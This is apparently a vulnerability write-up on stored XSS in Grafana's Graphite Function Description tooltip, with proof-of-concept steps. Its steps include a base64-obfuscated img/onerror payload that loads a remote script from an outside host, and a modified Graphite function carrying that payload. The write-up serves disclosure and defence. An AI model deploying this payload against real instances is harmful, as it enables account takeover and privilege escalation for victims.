Hello everyone, Do you know about Graphite, a popular tool for monitoring metrics?
If that’s the case, you’re probably also familiar with the Function Description tooltip, which gives useful information about various functions that may be used to edit metrics data.
Nevertheless, you may be unaware that this seemingly harmless tooltip is actually a good target for a potentially deadly sort of online vulnerability known as stored cross-site scripting (XSS).
Attackers in this circumstance can insert malicious code into the FunctionDescription tooltip, possibly allowing them to steal sensitive information or take control of user accounts.
In this post, we’ll look at the hazards posed by stored XSS in Graphite’s FunctionDescription tooltip and how to avoid such attacks.
When a Graphite data source is installed, this data source may be used in a dashboard.This has the ability to utilise Functions.When a function is chosen, a little tooltip will appear when you hover your mouse over the function’s name.
This tooltip will allow you to remove the chosen Function from your query or see the Function Description.Nevertheless, no sanitization is performed while adding this description to the DOM.
Because connecting to public data sources is relatively prevalent, an attacker may host a Graphite instance with changed Function Descriptions carrying XSS payloads.
When the user uses it in a query and unintentionally hovers over the Function Description, an attacker-controlled XSS payload is executed.
This may be used to make the attacker an administrator, for example.
make devenv sources=graphite
2. Now launch your Graphite container’s console and change the following file.
/opt/graphite/webapp/graphite/render/functions.py
3. You may use any function, however I choose the aggregateSeriesLists
function.
4. Change its description to:
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
5. The outcome would be as follows:
def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):
""" "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
"""
if len(seriesListFirstPos) != len(seriesListSecondPos):
raise InputParameterError(
"seriesListFirstPos and seriesListSecondPos argument must have equal length")
results = []
for i in range(0, len(seriesListFirstPos)):
firstSeries = seriesListFirstPos[i]
secondSeries = seriesListSecondPos[i]
aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor)
if not aggregated: # empty list, no data found
continue
result = aggregated[0] # aggregate() can only return len 1 list
result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name)
results.append(result)
return results
aggregateSeriesLists.group = 'Combine'
aggregateSeriesLists.params = [
Param('seriesListFirstPos', ParamTypes.seriesList, required=True),
Param('seriesListSecondPos', ParamTypes.seriesList, required=True),
Param('func', ParamTypes.aggFunc, required=True),
Param('xFilesFactor', ParamTypes.float),
]
6. Save and exit the file.Restart your Graphite Container.
7. Log in as an Organization Admin to your Grafana instance.
8. Navigate to http://[grafana]/plugins/graphite and click Create a Graphite data source
9. Enter the url of the attacker’s Graphite instance (you may want to activate Skip SSL Check), then click Save & Test and Explore.
10. Click the Add icon next to Functions on the newly opened page, then search for aggregateSeriesLists and click it to add it.
11.Hover your cursor above aggregateSeriesLists and then move it to the? icon.
payload will be triggered, and in this case, it will include an external script that will cause the alerts to be triggered.
Of course, the attacker would increase the chance by replacing all of its descriptions with XSS payloads.
As seen above, the attacker may now execute arbitrary Javascript in the victim’s browser.
The victim can be any user, including the Organization Admin, who uses the malicious Graphite instance in a query (or while Exploring).
If this is the case, an attacker might insert a payload that allows them to be added as an administrator themself.